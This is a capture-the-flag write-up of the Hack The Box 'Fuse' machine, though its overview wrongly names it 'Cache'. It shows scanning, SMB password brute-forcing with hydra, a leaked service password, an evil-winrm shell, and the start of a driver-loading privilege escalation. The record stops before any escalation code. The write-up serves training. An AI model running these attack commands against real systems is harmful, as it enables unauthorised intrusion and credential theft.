Hack The Box: Fuse Write-up
OVERVIEW
This writeup documents the methods I used to compromise the Cache machine on the Hack The Box internal Labs network. Cache was a Medium rated Linux box created by egre55, worth 30 points while it was active. This writeup will cover enumerating users and passwords from an exposed web page, enumerating service credentials from RPC, and abusing SeLoadDriverPrivilege to escalate into NT AUTHORITY/SYSTEM.
KILL CHAIN
AUTOMATED ENUMERATION
The first enumeration I performed against the target host at 10.10.10.193 was a full TCP port scan with nmap.
I used the -vvflag to display more verbose output, --reason to display the reason a port is in a particular state, -Pn to skip the host discovery checks, -A to enable OS and version detection, --osscan-guess to enable aggressive OS guessing, --version-all to try every single version probe, and -p- to scan the entire range of potentially exposed TCP ports.
nmap -vv --reason -Pn -A --osscan-guess --version-all -p- -oN _full_tcp_nmap.txt 10.10.10.193
# Nmap 7.80 scan initiated Mon Aug 3 14:24:05 2020 as: nmap -vv --reason -Pn -A --osscan-guess --version-all -p- -oN _full_tcp_nmap.txt 10.10.10.193
Nmap scan report for 10.10.10.193
Host is up, received user-set (0.020s latency).
Scanned at 2020-08-03 14:24:06 EDT for 807s
Not shown: 65514 filtered ports
Reason: 65514 no-responses
PORT STATE SERVICE REASON VERSION
53/tcp open domain? syn-ack ttl 127
80/tcp open http syn-ack ttl 127 Microsoft IIS httpd 10.0
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Site doesn't have a title (text/html).
88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2020-08-03 18:45:21Z)
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: fabricorp.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds syn-ack ttl 127 Windows Server 2016 Standard 14393 microsoft-ds (workgroup: FABRICORP)
464/tcp open kpasswd5? syn-ack ttl 127
593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped syn-ack ttl 127
3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: fabricorp.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped syn-ack ttl 127
5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf syn-ack ttl 127 .NET Message Framing
49666/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49667/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49675/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49676/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49680/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49698/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49752/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2016 (90%)
OS CPE: cpe:/o:microsoft:windows_server_2016
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
Aggressive OS guesses: Microsoft Windows Server 2016 (90%)
No exact OS matches for host (test conditions non-ideal).
TCP/IP fingerprint:
SCAN(V=7.80%E=4%D=8/3%OT=53%CT=%CU=%PV=Y%DS=2%DC=T%G=N%TM=5F28596D%P=x86_64-pc-linux-gnu)
SEQ(SP=105%GCD=1%ISR=108%TS=A)
SEQ(SP=105%GCD=1%ISR=108%II=I%TS=A)
OPS(O1=M54DNW8ST11%O2=M54DNW8ST11%O3=M54DNW8NNT11%O4=M54DNW8ST11%O5=M54DNW8ST11%O6=M54DST11)
WIN(W1=2000%W2=2000%W3=2000%W4=2000%W5=2000%W6=2000)
ECN(R=Y%DF=Y%TG=80%W=2000%O=M54DNW8NNS%CC=Y%Q=)
T1(R=Y%DF=Y%TG=80%S=O%A=S+%F=AS%RD=0%Q=)
T2(R=N)
T3(R=N)
T4(R=N)
U1(R=N)
IE(R=Y%DFI=N%TG=80%CD=Z)
Uptime guess: 0.017 days (since Mon Aug 3 14:12:42 2020)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=261 (Good luck!)
IP ID Sequence Generation: Busy server or unknown class
Service Info: Host: FUSE; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 2h38m19s, deviation: 4h02m32s, median: 18m17s
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 42403/tcp): CLEAN (Timeout)
| Check 2 (port 62199/tcp): CLEAN (Timeout)
| Check 3 (port 62413/udp): CLEAN (Timeout)
| Check 4 (port 55519/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
| smb-os-discovery:
| OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
| Computer name: Fuse
| NetBIOS computer name: FUSE\x00
| Domain name: fabricorp.local
| Forest name: fabricorp.local
| FQDN: Fuse.fabricorp.local
|_ System time: 2020-08-03T11:53:16-07:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2020-08-03T18:53:15
|_ start_date: 2020-08-03T18:31:20
TRACEROUTE (using port 139/tcp)
HOP RTT ADDRESS
1 22.25 ms 10.10.14.1
2 22.00 ms 10.10.10.193
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Aug 3 14:37:33 2020 -- 1 IP address (1 host up) scanned in 808.35 seconds
The initial enumeration scan proved to be extremely informative. In addition to discovering quite a few exposed TCP ports, the Nmap smb scripts were able to determine the OS including Build version, computer name, domain name, and FQDN. It also appears that anonymous guest authentication is enabled for SMB.
From experience, I placed the RPC ports on tcp/49xxx at the bottom of my enumeration priority list. I also knew that I would most likely not find anything interesting on the WinRM service listening on tcp/5985, but I do make a note to remember it is there as it could help provide a foothold shell via evil-winrm later.
Since I have had a lot of luck with poorly configured SMB and NetBIOS services in the past, I decided to begin my enumeration with them. The first enumeration script that I ran against the target host was enum4linux. I ran the script with the -a flag to run all simple enumeration, -M to get machine list, -l to try to get info from LDAP on tcp/389 if available, -d to specify detailed enumeration output, and -w to specify the workgroup/domain name discovered in my previous Nmap scan.
enum4linux -a -M -l -d -w fabricorp.local 10.10.10.193
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Mon Aug 3 15:21:52 2020
==========================
| Target Information |
==========================
Target ........... 10.10.10.193
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
====================================================
| Enumerating Workgroup/Domain on 10.10.10.193 |
====================================================
[+] Got domain/workgroup name: fabricorp.local
============================================
| Nbtstat Information for 10.10.10.193 |
============================================
Looking up status of 10.10.10.193
No reply from 10.10.10.193
=====================================
| Session Check on 10.10.10.193 |
=====================================
[+] Server 10.10.10.193 allows sessions using username '', password ''
=====================================================
| Getting information via LDAP for 10.10.10.193 |
=====================================================
[+] Long domain name for 10.10.10.193: fabricorp.local
[+] 10.10.10.193 appears to be a root/parent DC
===========================================
| Getting domain SID for 10.10.10.193 |
===========================================
Domain Name: FABRICORP
Domain Sid: S-1-5-21-2633719317-1471316042-3957863514
[+] Host is part of a domain (not a workgroup)
======================================
| OS information on 10.10.10.193 |
======================================
Use of uninitialized value $os_info in concatenation (.) or string at ./enum4linux.pl line 464.
[+] Got OS info for 10.10.10.193 from smbclient:
[+] Got OS info for 10.10.10.193 from srvinfo:
Could not initialise srvsvc. Error was NT_STATUS_ACCESS_DENIED
=============================
| Users on 10.10.10.193 |
=============================
[E] Couldn't find users using querydispinfo: NT_STATUS_ACCESS_DENIED
[E] Couldn't find users using enumdomusers: NT_STATUS_ACCESS_DENIED
===========================================
| Machine Enumeration on 10.10.10.193 |
===========================================
[E] Internal error. Not implmented in this version of enum4linux.
=========================================
| Share Enumeration on 10.10.10.193 |
=========================================
do_connect: Connection to 10.10.10.193 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Sharename Type Comment
--------- ---- -------
Reconnecting with SMB1 for workgroup listing.
Unable to connect with SMB1 -- no workgroup available
[+] Attempting to map shares on 10.10.10.193
====================================================
| Password Policy Information for 10.10.10.193 |
====================================================
[E] Unexpected error from polenum:
[+] Attaching to 10.10.10.193 using a NULL share
[+] Trying protocol 139/SMB...
[!] Protocol failed: Cannot request session (Called Name:10.10.10.193)
[+] Trying protocol 445/SMB...
[!] Protocol failed: SAMR SessionError: code: 0xc0000022 - STATUS_ACCESS_DENIED - {Access Denied} A process has requested access to an object but has not been granted those access rights.
[E] Failed to get password policy with rpcclient
==============================
| Groups on 10.10.10.193 |
==============================
[+] Getting builtin groups:
[+] Getting builtin group memberships:
[+] Getting local groups:
[+] Getting local group memberships:
[+] Getting domain groups:
[+] Getting domain group memberships:
=======================================================================
| Users on 10.10.10.193 via RID cycling (RIDS: 500-550,1000-1050) |
=======================================================================
[E] Couldn't get SID: NT_STATUS_ACCESS_DENIED. RID cycling not possible.
=============================================
| Getting printer info for 10.10.10.193 |
=============================================
Could not initialise spoolss. Error was NT_STATUS_ACCESS_DENIED
enum4linux complete on Mon Aug 3 15:22:06 2020
Even though SMB supported null logins I wasn't able to get any useful information from the eum4linux scan. I followed up the enum4linux scan with an Nmap SMB script scan.
nmap -vv --reason -Pn -sV -p 139 --script="banner,(nbstat or smb* or ssl*) and not (brute or broadcast or dos or external or fuzzer)" --script-args="unsafe=1" -oN tcp_139_smb_nmap.txt 10.10.10.193
# Nmap 7.80 scan initiated Mon Aug 3 14:34:43 2020 as: nmap -vv --reason -Pn -sV -p 139 --script="banner,(nbstat or smb* or ssl*) and not (brute or broadcast or dos or external or fuzzer)" --script-args="unsafe=1" -oN tcp_139_smb_nmap.txt 10.10.10.193
Nmap scan report for 10.10.10.193
Host is up, received user-set (0.021s latency).
Scanned at 2020-08-03 14:34:44 EDT for 40s
PORT STATE SERVICE REASON VERSION
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
|_smb-enum-services: ERROR: Script execution failed (use -d to debug)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_smb-mbenum: ERROR: Script execution failed (use -d to debug)
|_smb-print-text: false
|_smb-protocols: ERROR: Script execution failed (use -d to debug)
|_smb-vuln-ms10-061: SMB: Couldn't find a NetBIOS name that works for the server. Sorry!
|_smb2-security-mode: SMB: Couldn't find a NetBIOS name that works for the server. Sorry!
|_smb2-time: ERROR: Script execution failed (use -d to debug)
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Aug 3 14:35:24 2020 -- 1 IP address (1 host up) scanned in 40.39 seconds
This script scan failed as well. I decided to attempt one more Nmap LDAP script scan against tcp/389.
nmap -vv --reason -Pn -sV -p 389 "--script=banner,(ldap* or ssl*) and not (brute or broadcast or dos or external or fuzzer)" -oN tcp_389_ldap_nmap.txt 10.10.10.193
# Nmap 7.80 scan initiated Mon Aug 3 14:35:06 2020 as: nmap -vv --reason -Pn -sV -p 389 "--script=banner,(ldap* or ssl*) and not (brute or broadcast or dos or external or fuzzer)" -oN tcp_389_ldap_nmap.txt 10.10.10.193
Nmap scan report for 10.10.10.193
Host is up, received user-set (0.020s latency).
Scanned at 2020-08-03 14:35:07 EDT for 21s
PORT STATE SERVICE REASON VERSION
389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: fabricorp.local, Site: Default-First-Site-Name)
| ldap-rootdse:
| LDAP Results
| <ROOT>
| currentTime: 20200803185331.0Z
| subschemaSubentry: CN=Aggregate,CN=Schema,CN=Configuration,DC=fabricorp,DC=local
| dsServiceName: CN=NTDS Settings,CN=FUSE,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=fabricorp,DC=local
| namingContexts: DC=fabricorp,DC=local
| namingContexts: CN=Configuration,DC=fabricorp,DC=local
| namingContexts: CN=Schema,CN=Configuration,DC=fabricorp,DC=local
| namingContexts: DC=DomainDnsZones,DC=fabricorp,DC=local
| namingContexts: DC=ForestDnsZones,DC=fabricorp,DC=local
| defaultNamingContext: DC=fabricorp,DC=local
| schemaNamingContext: CN=Schema,CN=Configuration,DC=fabricorp,DC=local
| configurationNamingContext: CN=Configuration,DC=fabricorp,DC=local
| rootDomainNamingContext: DC=fabricorp,DC=local
| supportedControl: 1.2.840.113556.1.4.319
| supportedControl: 1.2.840.113556.1.4.801
| supportedControl: 1.2.840.113556.1.4.473
| supportedControl: 1.2.840.113556.1.4.528
| supportedControl: 1.2.840.113556.1.4.417
| supportedControl: 1.2.840.113556.1.4.619
| supportedControl: 1.2.840.113556.1.4.841
| supportedControl: 1.2.840.113556.1.4.529
| supportedControl: 1.2.840.113556.1.4.805
| supportedControl: 1.2.840.113556.1.4.521
| supportedControl: 1.2.840.113556.1.4.970
| supportedControl: 1.2.840.113556.1.4.1338
| supportedControl: 1.2.840.113556.1.4.474
| supportedControl: 1.2.840.113556.1.4.1339
| supportedControl: 1.2.840.113556.1.4.1340
| supportedControl: 1.2.840.113556.1.4.1413
| supportedControl: 2.16.840.1.113730.3.4.9
| supportedControl: 2.16.840.1.113730.3.4.10
| supportedControl: 1.2.840.113556.1.4.1504
| supportedControl: 1.2.840.113556.1.4.1852
| supportedControl: 1.2.840.113556.1.4.802
| supportedControl: 1.2.840.113556.1.4.1907
| supportedControl: 1.2.840.113556.1.4.1948
| supportedControl: 1.2.840.113556.1.4.1974
| supportedControl: 1.2.840.113556.1.4.1341
| supportedControl: 1.2.840.113556.1.4.2026
| supportedControl: 1.2.840.113556.1.4.2064
| supportedControl: 1.2.840.113556.1.4.2065
| supportedControl: 1.2.840.113556.1.4.2066
| supportedControl: 1.2.840.113556.1.4.2090
| supportedControl: 1.2.840.113556.1.4.2205
| supportedControl: 1.2.840.113556.1.4.2204
| supportedControl: 1.2.840.113556.1.4.2206
| supportedControl: 1.2.840.113556.1.4.2211
| supportedControl: 1.2.840.113556.1.4.2239
| supportedControl: 1.2.840.113556.1.4.2255
| supportedControl: 1.2.840.113556.1.4.2256
| supportedControl: 1.2.840.113556.1.4.2309
| supportedLDAPVersion: 3
| supportedLDAPVersion: 2
| supportedLDAPPolicies: MaxPoolThreads
| supportedLDAPPolicies: MaxPercentDirSyncRequests
| supportedLDAPPolicies: MaxDatagramRecv
| supportedLDAPPolicies: MaxReceiveBuffer
| supportedLDAPPolicies: InitRecvTimeout
| supportedLDAPPolicies: MaxConnections
| supportedLDAPPolicies: MaxConnIdleTime
| supportedLDAPPolicies: MaxPageSize
| supportedLDAPPolicies: MaxBatchReturnMessages
| supportedLDAPPolicies: MaxQueryDuration
| supportedLDAPPolicies: MaxDirSyncDuration
| supportedLDAPPolicies: MaxTempTableSize
| supportedLDAPPolicies: MaxResultSetSize
| supportedLDAPPolicies: MinResultSets
| supportedLDAPPolicies: MaxResultSetsPerConn
| supportedLDAPPolicies: MaxNotificationPerConn
| supportedLDAPPolicies: MaxValRange
| supportedLDAPPolicies: MaxValRangeTransitive
| supportedLDAPPolicies: ThreadMemoryLimit
| supportedLDAPPolicies: SystemMemoryLimitPercent
| highestCommittedUSN: 102673
| supportedSASLMechanisms: GSSAPI
| supportedSASLMechanisms: GSS-SPNEGO
| supportedSASLMechanisms: EXTERNAL
| supportedSASLMechanisms: DIGEST-MD5
| dnsHostName: Fuse.fabricorp.local
| ldapServiceName: fabricorp.local:fuse$@FABRICORP.LOCAL
| serverName: CN=FUSE,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=fabricorp,DC=local
| supportedCapabilities: 1.2.840.113556.1.4.800
| supportedCapabilities: 1.2.840.113556.1.4.1670
| supportedCapabilities: 1.2.840.113556.1.4.1791
| supportedCapabilities: 1.2.840.113556.1.4.1935
| supportedCapabilities: 1.2.840.113556.1.4.2080
| supportedCapabilities: 1.2.840.113556.1.4.2237
| isSynchronized: TRUE
| isGlobalCatalogReady: TRUE
| domainFunctionality: 7
| forestFunctionality: 7
|_ domainControllerFunctionality: 7
|_sslv2-drown:
Service Info: Host: FUSE; OS: Windows; CPE: cpe:/o:microsoft:windows
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Aug 3 14:35:28 2020 -- 1 IP address (1 host up) scanned in 21.77 seconds
MANUAL ENUMERATION
While the LDAP root dump was successful, it didn't reveal any new information about the target host. Since none of my scans had really turned up anything, I decided to do a quick check to see if any webpage existed on tcp/80 before running any more enumeration scans.
curl -sSik http://10.10.10.193:80/ -m 10
HTTP/1.1 200 OK
Content-Type: text/html
Last-Modified: Sat, 30 May 2020 00:01:51 GMT
Accept-Ranges: bytes
ETag: "2c834e851536d61:0"
Server: Microsoft-IIS/10.0
Date: Mon, 03 Aug 2020 18:53:02 GMT
Content-Length: 103
<meta http-equiv="refresh" content="0; url=http://fuse.fabricorp.local/papercut/logs/html/index.htm" />
There did appear to be an HTTP server listening on tcp/80, but all that was there was a redirect to a subdomain of fuse.fabricorp.local. This redirect caused me to remember that I had never added this host's name to my /etc/hosts file after my initial Nmap port scan. I added the FQDN and hostname to my host file, then continued with my enumeration. I navigated to the redirect destination in my browser, and saw that it appeared to be a Print Management server. While clicking through the different links, I was able to find print logs that leaked username, document name, and hostname information.
Next I tried to do a full LDAP dump in order to see if any information had been missed by the Nmap LDAP script scan.
ldapsearch -LLL -x -H ldap://10.10.10.193 -b 'dc=fabricorp,dc=local' '(objectclass=*)'
Operations error (1)
Additional information: 000004DC: LdapErr: DSID-0C090A6C, comment: In order to perform this operation a successful bind must be completed on the connection., data 0, v3839
Searching for information on this error told me that it was due to the fact that I was not authenticated to the LDAP server.
Since I knew that Kerberos had been seen listening on tcp/88 and that WinRM was listening on tcp/5985, I decided to check to see if I could harvest a Kerberos hash in order to perform a pass-the-hash authentication over WinRM. I created a users list using the usernames I had seen on the Papercut Printer Log page, then used the GetNPUsers.py script from Impacket to try to steal a hash.
python3 /var/lib/impacket/examples/GetNPUsers.py fabricorp.local/ -dc-ip 10.10.
10.193 -no-pass -usersfile users.txt
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation
[-] User administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User bhult doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User bnielson doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User pmerton doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User sthompson doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User tlavel doesn't have UF_DONT_REQUIRE_PREAUTH set
I was able to verify that these usernames were valid, however I was unable to get a Kerberos hash. All the users from my list either didn't exist, had been revoked, or didn't have the required UF_DONT_REQUIRE_PREAUTH parameter set.
At this point, I realized that if I was to gather any more information I would require a valid set of user credentials. I also realized that the only place that had any strings with the remote chance of being passwords was the Printer Log HTML page. Since I already had a list of users, I crawled the Log page with cewl, then fed both lists into hydra and attempted to brute-force SMB.
cewl -m 2 -a -e --with-numbers http://fuse.fabricorp.local/papercut/logs/html/index.htm > cewl-list.txt
hydra -L users.txt -P cewl-list.txt 10.10.10.193 smb
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-08-03 17:45:28
[INFO] Reduced number of tasks to 1 (smb does not like parallel connections)
[DATA] max 1 task per 1 server, overall 1 task, 1254 login tries (l:6/p:209), ~1254 tries per task
[DATA] attacking smb://10.10.10.193:445/
[445][smb] host: 10.10.10.193 login: bhult password: Fabricorp01
[445][smb] host: 10.10.10.193 login: bnielson password: Fabricorp01
[445][smb] host: 10.10.10.193 login: tlavel password: Fabricorp01
1 of 1 target successfully completed, 3 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-08-03 17:46:27
Armed with these credentials I attempted to open an SMB session using smbclient, but all three sets of credentials failed to authenticate with the same error message.
smbclient -L 10.10.10.193 -U bhult%Fabricorp01
session setup failed: NT_STATUS_PASSWORD_MUST_CHANGE
smbclient -L 10.10.10.193 -U bnielson%Fabricorp01
session setup failed: NT_STATUS_PASSWORD_MUST_CHANGE
smbclient -L 10.10.10.193 -U tlavel%Fabricorp01
session setup failed: NT_STATUS_PASSWORD_MUST_CHANGE
I had never seen this error message before, so I searched for more information about it. I discovered that this message meant I needed to change the password, and that I should be able to do so using the smbpasswd tool. Since I had no experience with this tool, I ran it with -h first in order to check what options it required. I saw that the -U option was used to specify a remote username, and -r was used to specify a remote machine. I attempted to change the password for the user bhult, and when successful attempted to verify by listing any SMB shares available to the user.
smbpasswd -r 10.10.10.193 -U bhult
Old SMB password: Fabricorp01
New SMB password: Fabricorp02
Retype new SMB password: Fabricorp02
Password changed for user bnielson on 10.10.10.193.
smbclient -L 10.10.10.193 -U bhult%Fabricorp02
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
HP-MFT01 Printer HP-MFT01
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
print$ Disk Printer Drivers
SYSVOL Disk Logon server share
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.193 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
Finally I was able to get some sort of useful information! Prior to continuing with my authenticated enumeration, I checked to see if this user had WinRM privileges since that would give me an immediate shell.
evil-winrm -i 10.10.10.193 -u bhult -p Fabricorp06
Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint
Error: An error of type WinRM::WinRMAuthorizationError happened, message is WinRM::WinRMAuthorizationError
Error: Exiting with code 1
Unfortunately this user did not have the appropriate permissions. Since I now had valid credentials, I decided to run an authenticated scan with enum4linux using the -u and -p flags to specify the username and password respectively, however this scan did not provide any more information that I did not already have.
At this point, the only service I hadn't really performed any enumeration on was RPC. I opened an authenticated session with rpcclient and began working through the various available commands.
rpcclient -U FABRICORP\\bhult 10.10.10.193
Enter FABRICORP\bhult's password:
enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[svc-print] rid:[0x450]
user:[bnielson] rid:[0x451]
user:[sthompson] rid:[0x641]
user:[tlavel] rid:[0x642]
user:[pmerton] rid:[0x643]
user:[svc-scan] rid:[0x645]
user:[bhult] rid:[0x1bbd]
user:[dandrews] rid:[0x1bbe]
user:[mberbatov] rid:[0x1db1]
user:[astein] rid:[0x1db2]
user:[dmuir] rid:[0x1db3]
enumdomgroups
group:[Enterprise Read-only Domain Controllers] rid:[0x1f2]
group:[Domain Admins] rid:[0x200]
group:[Domain Users] rid:[0x201]
group:[Domain Guests] rid:[0x202]
group:[Domain Computers] rid:[0x203]
group:[Domain Controllers] rid:[0x204]
group:[Schema Admins] rid:[0x206]
group:[Enterprise Admins] rid:[0x207]
group:[Group Policy Creator Owners] rid:[0x208]
group:[Read-only Domain Controllers] rid:[0x209]
group:[Cloneable Domain Controllers] rid:[0x20a]
group:[Protected Users] rid:[0x20d]
group:[Key Admins] rid:[0x20e]
group:[Enterprise Key Admins] rid:[0x20f]
group:[DnsUpdateProxy] rid:[0x44e]
group:[IT_Accounts] rid:[0x644]
enum
enumalsgroups enumdomusers enummonitors enumprocdatatypes
enumdata enumdrivers enumpermachineconnections enumprocs
enumdataex enumforms enumports enumtrust
enumdomains enumjobs enumprinters
enumdomgroups enumkey enumprivs
enummonitors
monitor_name: Standard TCP/IP Port
monitor_name: Local Port
monitor_name: HP Universal Print Monitor
enumproc
enumprocdatatypes enumprocs
enumprocdatatypes
name_array: RAW
name_array: RAW [FF appended]
name_array: RAW [FF auto]
name_array: NT EMF 1.003
name_array: NT EMF 1.006
name_array: NT EMF 1.007
name_array: NT EMF 1.008
name_array: TEXT
name_array: XPS2GDI
enumports
Port Name: [HP-MFT01]
Port Name: [COM1:]
Port Name: [COM2:]
Port Name: [COM3:]
Port Name: [COM4:]
Port Name: [FILE:]
Port Name: [LPT1:]
Port Name: [LPT2:]
Port Name: [LPT3:]
Port Name: [PORTPROMPT:]
enumprinters
flags:[0x800000]
name:[\\10.10.10.193\HP-MFT01]
description:[\\10.10.10.193\HP-MFT01,HP Universal Printing PCL 6,Central (Near IT, scan2docs password: $fab@s3Rv1ce$1)]
comment:[]
While reading the description field under enumprinters I found a string that looked like it could be a service account password. I ran hydra again, using the same users list with this newly discovered string against SMB in order to check for any matches.
hydra -L users.txt -p '$fab@s3Rv1ce$1' 10.10.10.193 smb
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-08-03 18:21:08
[INFO] Reduced number of tasks to 1 (smb does not like parallel connections)
[DATA] max 1 task per 1 server, overall 1 task, 12 login tries (l:12/p:1), ~12 tries per task
[DATA] attacking smb://10.10.10.193:445/
[445][smb] host: 10.10.10.193 login: svc-print password: $fab@s3Rv1ce$1
[445][smb] host: 10.10.10.193 login: svc-scan password: $fab@s3Rv1ce$1
1 of 1 target successfully completed, 2 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-08-03 18:21:10
Hydra reported a successful login attempt for both the svc-print and svc-scan accounts! Once again, the first privilege I checked for was WinRM access.
evil-winrm -i 10.10.10.193 -u svc-print -p '$fab@s3Rv1ce$1'
Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc-print\Documents>
Since this foothold shell was in the context of a service account, I didn't think that I would have access to the user.txt flag, so I performed a recursive search for the file in order to identify it's location and the user account I needed to target for a lateral move.
Get-ChildItem -Recurse -Include user* -File -force -Path C:\Users\ -Error
Action SilentlyContinue
Directory: C:\Users\svc-print\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 8/3/2020 11:32 AM 34 user.txt
I was pleasantly surprised to locate the user.txt flag in the same directory as my user context. I printed out the flag for proof of user compromise, then began enumerating for privilege escalation.
ESCALATION OF PRIVILEGE
First I checked to see if there were any potentially interesting folders in the C:\ root.
dir -force
Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d--hs- 5/30/2020 4:44 PM $RECYCLE.BIN
d----- 5/29/2020 5:13 PM Departments
d--hsl 5/26/2020 10:35 PM Documents and Settings
d----- 5/29/2020 5:23 PM HP Universal Print Driver
d----- 5/29/2020 4:36 PM inetpub
d----- 5/26/2020 6:08 PM PerfLogs
d-r--- 6/11/2020 1:57 AM Program Files
d----- 5/29/2020 4:54 PM Program Files (x86)
d--h-- 5/29/2020 4:46 PM ProgramData
d--hs- 5/26/2020 10:35 PM Recovery
d--hs- 5/29/2020 4:26 PM System Volume Information
d----- 6/1/2020 4:24 AM test
d-r--- 5/31/2020 5:08 PM Users
d----- 8/3/2020 11:32 AM Windows
-arhs- 11/20/2016 5:59 PM 389408 bootmgr
-a-hs- 7/16/2016 6:10 AM 1 BOOTNXT
-a-hs- 8/3/2020 11:31 AM 1476395008 pagefile.sys
-ar--- 6/10/2020 6:22 PM 334 readme.txt
I immediately noticed the C:\Departments directory as out of the ordinary and recursively dumped its contents.
Get-ChildItem -Recurse -force -Path C:\Departments\ -ErrorAction SilentlyContinue
Directory: C:\Departments
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 6/10/2020 5:39 PM IT
Directory: C:\Departments\IT
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 5/30/2020 4:55 PM backups
d----- 6/10/2020 5:39 PM dr
d----- 5/29/2020 5:13 PM new starters
Directory: C:\Departments\IT\backups
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 5/30/2020 4:37 PM 100 backup_tapes.txt
-a---- 5/30/2020 4:42 PM 42924 mega_mountain_tape_request.pdf
Directory: C:\Departments\IT\dr
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 6/10/2020 5:40 PM 46 offsite_dr_invocation.txt
Directory: C:\Departments\IT\new starters
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 5/29/2020 6:12 PM 2020
Directory: C:\Departments\IT\new starters\2020
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 5/29/2020 6:12 PM 52 New Starter - Bridget Nielson.txt
I copied each of the discovered files to my Kali host using an SMB share, but none of the files contained any new or useful information. The next thing I checked was the user privileges held by svc-scan.
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeLoadDriverPrivilege Load and unload device drivers Enabled
SeShutdownPrivilege Shut down the system Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
The user didn't have any of the required privileges to perform a kernel privesc with JuicyPotato, but the user did have the SeLoadDriverPrivilege, which I had never seen before. Searching for information on this privilege led me to a Tarlogic blog post. This got me very excited since the same site hosts a Kerberos Attacks blog post that was invaluable to me while practicing Kerberos and Active Directory attacks. After reading through the post I downloaded the linked EoPLoadDriver.cpp, Capcom.sys, and ExploitCapcom.cpp files.
